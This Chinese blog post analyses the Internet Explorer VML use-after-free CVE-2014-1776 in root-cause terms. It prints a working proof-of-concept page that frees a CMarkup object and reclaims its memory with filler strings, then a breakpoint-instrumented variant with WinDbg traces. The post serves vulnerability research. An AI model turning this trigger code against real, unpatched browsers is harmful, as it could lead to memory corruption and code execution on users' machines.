传说中的IE秘狐

[CNNVD]Microsoft Internet Explorer 释放后重用漏洞(CNNVD-201404-530)

Microsoft Internet Explorer(IE)是美国微软(Microsoft)公司开发的一款Web浏览器,是Windows操作系统附带的默认浏览器。

Microsoft IE 6至11版本的VGX.DLL文件中存在释放后重用漏洞。远程攻击者可利用该漏洞执行任意代码或造成拒绝服务(内存损坏)。

POC:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<STYLE>
v\:* { Behavior: url(#default#VML) }
</STYLE>
<head id="l">
<title></title>
<script>
function trigger()
{
var r,t,e,i;
var o = document.getElementById("l");
r = document.createElement("i");
t = r;
r = document.getElementById("k").childNodes[0].appendChild(r) ;
r = t.appendChild(o) ;
e = r.offsetParent;
e.onpropertychange=fun;
i=o.firstChild.nextSibling;
try
{
i.disabled = o;
}
catch (e) {}
}
function fun()
{
var g_arr = [];
var arrLen = 0x250;
var m_block; for (var i = 0; i < arrLen; ++i)
{
g_arr[i] = document.createElement('div');
}
var a = unescape("%uAAAA%uAAAA") ;
while (a.length < 0xd8)
{
a += unescape("%uBBBB%uBBBB") ;
}
m_block = a.substring(0, (0xd8 - 2) / 2);
try
{
this.removeNode(true);
}
catch (e) {}
CollectGarbage();
for (var i = 0; i < (arrLen / 2); ++i)
{
g_arr[i].title = m_block ;
}
}
</script>
</head>
<body>
<v:group id="k" style="width:500pt;">
<div></div>
</group>
<script>
trigger() ;
</script>
</body>
</html>

经分析得出是CMarkup对象发生的UAF

这个样本的确可以成功触发漏洞,但是这个明显是一个经过设计exp。exp的行为会干扰到我们对漏洞产生原因的分析。

重利用

:> kv
ChildEBP RetAddr Args to Child
041ee998 68318a98 087abfc0 6837ce50 mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6 (FPO: [,,])
041ee9b8 68319d57 06dfbf30 041ee9dc mshtml!CMarkup::OnCssChange+0x52
041ee9c8 6860a5b3 087abfc0 6837ce64 mshtml!CElement::OnCssChange+0x1e
041ee9dc 6836bfc6 8001004c 6837ce50 mshtml!CStyleElement::OnPropertyChange+0xfc
041eeabc 682e4bd1 6837ce64 ffffffff 087abfcc mshtml!NUMPROPPARAMS::SetNumberProperty+0x2d9
041eead8 682e4ba1 0000ffff 0a82efd8 041eeb10 mshtml!CBase::put_BoolHelper+0x25
041eeae8 682e24dd 087abfc0 0000ffff 068e8fd0 mshtml!CBase::put_Bool+0x22
041eeb10 683f235c 087abfc0 068e8fd0 0a82efd8 mshtml!GS_VARIANTBOOL+0x19b
041eeb84 683fc75a 087abfc0 8001004c mshtml!CBase::ContextInvokeEx+0x5dc
041eebd4 6820c29b 087abfc0 8001004c mshtml!CElement::ContextInvokeEx+0x9d
041eec00 683a3104 087abfc0 8001004c mshtml!CStyleElement::VersionedInvokeEx+0x62
041eec54 645aa22a 06e9afd8 8001004c mshtml!PlainInvokeEx+0xeb
041eec90 645aa175 0819cd10 8001004c jscript!IDispatchExInvokeEx2+0x104
041eeccc 645aa3f6 0819cd10 0000000c jscript!IDispatchExInvokeEx+0x6a
041eed8c 645aa4a0 8001004c 0000000c jscript!InvokeDispatchEx+0x98
041eedc0 645bd8c8 0819cd10 041eedf4 0000000c jscript!VAR::InvokeByName+0x139
041eee08 645a9c0e 0819cd10 0000000c jscript!VAR::InvokeDispName+0x7d
041eef9c 645b5c9d 041eefb4 01876f88 jscript!CScriptRuntime::Run+0x208d
041ef084 645b5bfb 01878fa0 jscript!ScrFncObj::CallWithFrameOnStack+0xce
041ef0cc 645b74ac 01878fa0 jscript!ScrFncObj::Call+0x8d

释放

:> g
Breakpoint hit
eax=683720a8 ebx=06d96fe8 ecx=06fd1f30 edx=001f1078 esi=06fd1f30 edi=
eip=683e12b8 esp=0419b40c ebp=0419b414 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::~CMarkup:
683e12b8 8bff mov edi,edi
:> ? esi
Evaluate expression: = 06fd1f30
:> kv
ChildEBP RetAddr Args to Child
0419b408 683e1297 06fd1f30 0419b42c 68387dd0 mshtml!CMarkup::~CMarkup (FPO: [,,])
0419b414 68387dd0 68387db6 mshtml!CMarkup::`scalar deleting destructor'+0xd
0419b41c 68387db6 00000000 06fd1f30 0419b450 mshtml!CBase::SubRelease+0x22 (FPO: [0,0,0])
0419b42c 68319de5 06fd1f30 0540b680 6831a2d4 mshtml!CBase::PrivateRelease+0x3c
0419b438 6831a2d4 0a978fd8 0a97efd8 00001400 mshtml!CMarkup::ProcessPeerTask+0x47 (FPO: [0,1,0])
0419b450 683fc6ce 08a4af30 00000000 0a978fd8 mshtml!CMarkup::ProcessPeerTasks+0xf0
0419b468 683f1e59 0a97efd8 07873260 10000003 mshtml!CElement::VersionedGetDispID+0x52
0419b4ac 68a3a304 0a978fd8 07873260 10000003 mshtml!PlainGetDispID+0xdc
0419b4dc 68a3a272 07873260 0419b518 0a978fd8 jscript!IDispatchExGetDispID+0xa5
0419b4f4 68a3a47a 06e25d10 0419b518 00000003 jscript!GetDex2DispID+0x31
0419b520 68a4d8c8 06e25d10 0419b554 0000000c jscript!VAR::InvokeByName+0xee
0419b56c 68a39c0e 06e25d10 0000000c 00000000 jscript!VAR::InvokeDispName+0x7d
0419b700 68a45c9d 0419b718 0419b85c 06e5bf88 jscript!CScriptRuntime::Run+0x208d
0419b7e8 68a45bfb 0419b85c 00000000 06e57e80 jscript!ScrFncObj::CallWithFrameOnStack+0xce
0419b830 68a45e11 0419b85c 00000000 06e57e80 jscript!ScrFncObj::Call+0x8d
0419b8ac 68a3f3ee 06e5bf88 0419baf0 00000000 jscript!CSession::Execute+0x15f
0419b994 68a3ea2e 00000000 00000001 0419ba4c jscript!NameTbl::InvokeDef+0x1b5
0419ba18 68417af1 06e5bf88 00000000 00000804 jscript!NameTbl::InvokeEx+0x12c
0419ba68 68417b91 063d2fc8 06e5bf88 00000000 mshtml!CBase::InvokeDispatchWithThis+0x1e1
0419bb94 6838a932 80010013 8001179f 0a96cfd8 mshtml!CBase::InvokeEvent+0x214

分配

    70228e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77284ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77247d96 ntdll!RtlpAllocateHeap+0x000000c4
772134ca ntdll!RtlAllocateHeap+0x0000023a
6830a8da mshtml!CDoc::CreateMarkupFromInfo+0x000000e2
6831625f mshtml!CDoc::CreateMarkup+0x0000004a
6826d0b1 mshtml!CCommentElement::`scalar deleting destructor'+0x000002d3
681ec57d mshtml!CElement::removeNode+0x00000046
681ec630 mshtml!Method_IDispatchpp_oDoVARIANTBOOL+0x000000cc
683f235c mshtml!CBase::ContextInvokeEx+0x000005dc
683fc75a mshtml!CElement::ContextInvokeEx+0x0000009d
683fc79a mshtml!CInput::VersionedInvokeEx+0x0000002d
683a3104 mshtml!PlainInvokeEx+0x000000eb
67eba22a jscript!IDispatchExInvokeEx2+0x00000104
67eba175 jscript!IDispatchExInvokeEx+0x0000006a
67eba3f6 jscript!InvokeDispatchEx+0x00000098
67eba4a0 jscript!VAR::InvokeByName+0x00000139
67ecd8c8 jscript!VAR::InvokeDispName+0x0000007d
67ecd96f jscript!VAR::InvokeByDispID+0x000000ce
67ece3e7 jscript!CScriptRuntime::Run+0x00002b80
67ec5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
67ec5bfb jscript!ScrFncObj::Call+0x0000008d
67ec5e11 jscript!CSession::Execute+0x0000015f
67ebf3ee jscript!NameTbl::InvokeDef+0x000001b5
67ebea2e jscript!NameTbl::InvokeEx+0x0000012c
68417af1 mshtml!CBase::InvokeDispatchWithThis+0x000001e1
68417b91 mshtml!CBase::InvokeEvent+0x00000214
6838a932 mshtml!CBase::FireEvent+0x000000e1
683d4836 mshtml!CElement::FireEvent+0x000003c4
6840c550 mshtml!CElement::Fire_onpropertychange+0x0000005a
6840c4d7 mshtml!CElement::Fire_PropertyChangeHelper+0x00000121
6840c457 mshtml!CElement::OnPropertyChange+0x00000b7b

分析一下流程

修改POC,增加辅助语句

<html xmlns:v="urn:schemas-microsoft-com:vml">
<STYLE>
v\:* { Behavior: url(#default#VML) }
</STYLE>
<head id="l">
<title></title>
<script>
Math.tan(2,3);
function trigger()
{
var r,t,e,i;
var o = document.getElementById("l");
Math.sin(2,3);
r = document.createElement("i");
Math.cos(2,3);
t = r;
Math.tan(2,3);
r = document.getElementById("k").childNodes[0].appendChild(r) ;
Math.sin(2,3);
r = t.appendChild(o) ;
Math.cos(2,3);
e = r.offsetParent;
Math.tan(2,3);
e.onpropertychange=fun;
Math.sin(2,3);
i=o.firstChild.nextSibling;
Math.cos(2,3);
try
{
Math.tan(2,3);
i.disabled = o;
}
catch (e) {}
}
function fun()
{
var g_arr = [];
var arrLen = 0x250;
var m_block; for (var i = 0; i < arrLen; ++i)
{
g_arr[i] = document.createElement('div');
}
var a = unescape("%uAAAA%uAAAA") ;
while (a.length < 0xd8)
{
a += unescape("%uBBBB%uBBBB") ;
}
m_block = a.substring(0, (0xd8 - 2) / 2);
try
{
Math.cos(2,3);
this.removeNode(true);
}
catch (e) {}
Math.tan(2,3);
CollectGarbage();
for (var i = 0; i < (arrLen / 2); ++i)
{
g_arr[i].title = m_block ;
}
}
</script>
</head>
<body>
<v:group id="k" style="width:500pt;">
<div></div>
</group>
<script>
trigger() ;
</script>
</body>
</html> 
:> g
Breakpoint hit
eax= ebx=040ded00 ecx= edx= esi=040decf0 edi=040decf0
eip=688bd8c0 esp=040debf4 ebp=040dec30 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
688bd711 ff2568108968 jmp dword ptr [jscript!_imp__sin ()] ds::={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
688bd711 ff2568108968 jmp dword ptr [jscript!_imp__sin ()] ds::={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040ddae0 ecx= edx= esi=040ddad0 edi=040ddad0
eip=688bd67f esp=040dd9b4 ebp=040dd9f0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax=040dd934 ebx= ecx= edx=6837c8f9 esi= edi=
eip= esp=040dd854 ebp=040dd938 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CDoc::CreateMarkup:
8bff mov edi,edi
:> g
Breakpoint hit
eax= ebx=040ddae0 ecx= edx= esi=040ddad0 edi=040ddad0
eip=688bd8c0 esp=040dd9b4 ebp=040dd9f0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
688bd711 ff2568108968 jmp dword ptr [jscript!_imp__sin ()] ds::={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040db3a0 ecx= edx= esi=040db390 edi=040db390
eip=688bd67f esp=040db274 ebp=040db2b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax=040db1f4 ebx= ecx=07b9ff30 edx=6837c8f9 esi= edi=
eip= esp=040db114 ebp=040db1f8 iopl= nv up ei pl nz na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CDoc::CreateMarkup:
8bff mov edi,edi
:> g
Breakpoint hit
eax= ebx=040db3a0 ecx= edx= esi=040db390 edi=040db390
eip=688bd8c0 esp=040db274 ebp=040db2b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
(e68.): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07caff30 ebx=07caff30 ecx=a06dfdb5 edx= esi=07caff30 edi=0824efc0
eip=68318d1d esp=040de6ec ebp=040de710 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6:
68318d1d 8b465c mov eax,dword ptr [esi+5Ch] ds::07caff8c=????????

通过分析发现

 this.removeNode(true);

一句的执行导致了CDoc::CreateMarkup函数创建

CDoc::CreateMarkup其实是对CDoc::CreateMarkupFromInfo的简单封装,CDoc::CreateMarkupFromInfo方法中通过HeapAlloc函数来分配内存。

通过此种方式获取分配的内存地址,最后发现UAF对象其实是第一个CreateMarkup函数进行分配的。

:> g
Breakpoint hit
eax= ebx=042bde78 ecx= edx= esi=042bde68 edi=042bde68
eip=67edd8c0 esp=042bdd74 ebp=042bddb0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
67edd8c0 ff258010eb67 jmp dword ptr [jscript!_imp__tan (67eb1080)] ds::67eb1080={msvcrt!tan (758dde34)}
:> bl
e 67edd8c0 () :**** jscript!tan
e 67edd67f () :**** jscript!cos
e 67edd711 () :**** jscript!sin
:> bu mshtml!CMarkup::~CMarkup
:> g
Breakpoint hit
eax= ebx=042bed30 ecx= edx= esi=042bed20 edi=042bed20
eip=67edd711 esp=042bec34 ebp=042bec70 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
67edd711 ff256810eb67 jmp dword ptr [jscript!_imp__sin (67eb1068)] ds::67eb1068={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=042bed30 ecx= edx= esi=042bed20 edi=042bed20
eip=67edd67f esp=042bec34 ebp=042bec70 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
67edd67f ff259010eb67 jmp dword ptr [jscript!_imp__cos (67eb1090)] ds::67eb1090={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=042bb738 ecx= edx= esi=042bb728 edi=042bb728
eip=67edd8c0 esp=042bb634 ebp=042bb670 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
67edd8c0 ff258010eb67 jmp dword ptr [jscript!_imp__tan (67eb1080)] ds::67eb1080={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax=683720a8 ebx=0653efe8 ecx=07117f30 edx= esi=07117f30 edi=
eip=683e12b8 esp=042bb7a4 ebp=042bb7ac iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::~CMarkup:
683e12b8 8bff mov edi,edi
:> ? ecx
Evaluate expression: = 07117f30
:> g
(b74.e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07117f30 ebx=07117f30 ecx=9f3dcc40 edx= esi=07117f30 edi=08392fc0
eip=68318d1d esp=042bea84 ebp=042beaa8 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6:
68318d1d 8b465c mov eax,dword ptr [esi+5Ch] ds::07117f8c=????????

没有明显的js语句对应于释放和重用。

对象应该是因为引用计数耗尽而被释放的。

向上跟踪最后崩溃的位置,发现悬垂指针是处于CStyleElement+0x24的位置

根据OnCssChange函数我猜测是当css结构变动导致的引用了CStyleElement中指向已释放的CMarkup对象的悬垂指针。

CVE-2014-1776 秘狐的更多相关文章

  1. Oauth2.0协议曝漏洞 大量社交网站隐私或遭泄露

    2014年是IT业界不平常的一年,XP停服.IE长老漏洞(秘狐)等等层出不穷,现在,社交网络也爆出惊天漏洞:Oauth2.0协议漏洞 继OpenSSL漏洞后,开源安全软件再曝安全漏洞.新加坡南洋理工大 ...

  2. Bash漏洞批量检测工具与修复方案

    &amp;amp;lt;img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" t ...

  3. Android安全研究经验谈

    安全研究做什么 从攻击角度举例,可以是:对某个模块进行漏洞挖掘的方法,对某个漏洞进行利用的技术,通过逆向工程破解程序.解密数据,对系统或应用进行感染.劫持等破坏安全性的攻击技术等. 而防御上则是:查杀 ...

  4. Metasploit的基本使用

    Metasploit可以在Linux.Windows和Mac OS X系统上运行.我假设你已安装了Metasploit,或者你使用的系统是Kali Linux.它有命令行接口也有GUI接口. 我使用的 ...

  5. 紧跟腾讯大王卡:B站2233卡“基友号”即将上线

    来自B站官方的消息显示,B站在近期也将推出"基友号"功能,功能的内容是通话免费,考虑到这类互联网套餐都是中国联通在运营,因此在内容上可能也会效仿腾讯大王卡实现免费通话. 目前,B站 ...

  6. 数据库SQL Service 2014中文版的安装和配置教程

    一.我的电脑环境 1.windows8.1(64位) 2.之前电脑没有安装数据库的软件 二.装机之前准备(我这儿提供百度云保存和下载) 1.下载一个“Sql service 2014中文版” http ...

  7. SQL Server 2014 Backup Encryption

    转载自: Microsoft MVP Award Program Blog 来源:Microsoft MVP Award Program Blog 的博客:https://blogs.msdn.mic ...

  8. AWS re:Invent 2014回顾

    亚马逊在2014年11月11-14日的拉斯维加斯举行了一年一度的re:Invent大会.在今年的大会上,亚马逊一股脑发布和更新了很多服务.现在就由我来带领大家了解一下这些新服务. 安全及规范相关 AW ...

  9. CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

    目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 为了理解这个漏 ...

随机推荐

  1. Levenshtein Distance莱文斯坦距离算法来计算字符串的相似度

    Levenshtein Distance莱文斯坦距离定义: 数学上,两个字符串a.b之间的莱文斯坦距离表示为levab(|a|, |b|). levab(i, j) = max(i, j)  如果mi ...

  2. 科学计算三维可视化---Traits介绍

    简介 Traits是开源扩展库,Traits本身与科学计算可视化没有直接关联,但他其实TVTK,Mayavi,TraitsUI基础 安装: pip3 install traits--cp36-cp36 ...

  3. 科学计算三维可视化---Mayavi可视化实例

    一:Dragon绘制实例(三维扫描的绘制) 三维扫描主要用于对物体空间外形结构以及色彩进行扫描,用以获得物体表面的空间坐标, 他的主要意义在于能够将实物的立体信息转换为计算机能够直接处理的数据信号,为 ...

  4. eclipse 无法解析导入 javax.servlet 的解决方法

    出现上述问题的原因是你的Eclipse项目没有导入JSP运行所需要的Tomcat类库,主要是servlet-api.jar文件(或者servlet.jar),tomcat容器里面有这文件,在以下位置: ...

  5. 记录第一次阿里云服务器部署java web工程的经历

    起因:测试一个微信小程序,发现所有的请求要求为https的形式,开发工具忽略后手机无法测试,故尝试配置. 准备:阿里云服务器一台 域名一个(解析在服务器)     tomcat7.0.54     j ...

  6. 有用的Javascript,长期更新...

    1,点击目标区域以外隐藏,运用场景:点击遮罩层,弹层关闭. // 点击目标区域以外隐藏 $(document).on("click", function (event) { var ...

  7. 如何定制Gtk版Emacs的Widget外观

    当我们使用 xlib 版的Emacs时,可以通过 XResource 定义 Emacs 的菜单 栏.工具条.滚动条的外观. 现在,在Linux上我们大多使用 gtk版的Emacs,是否还有办法定义 E ...

  8. HDU 1181 变形课 (深搜)

    题目连接 Problem Description 呃......变形课上Harry碰到了一点小麻烦,因为他并不像Hermione那样能够记住所有的咒语而随意的将一个棒球变成刺猬什么的,但是他发现了变形 ...

  9. php魔术函数 __clone()

    原文地址: http://www.nowamagic.net/librarys/posts/php/32 PHP4面向对象功能一个很大的缺点,是将对象视为另一种数据类型,这使得很多常见的OOP方法无法 ...

  10. Node程序debug小记

    有时候,所见并不是所得,有些包,你需要去翻他的源码才知道为什么会这样. 背景 今天调试一个程序,用到了一个很久之前的NPM包,名为formstream,用来将form表单数据转换为流的形式进行接口调用 ...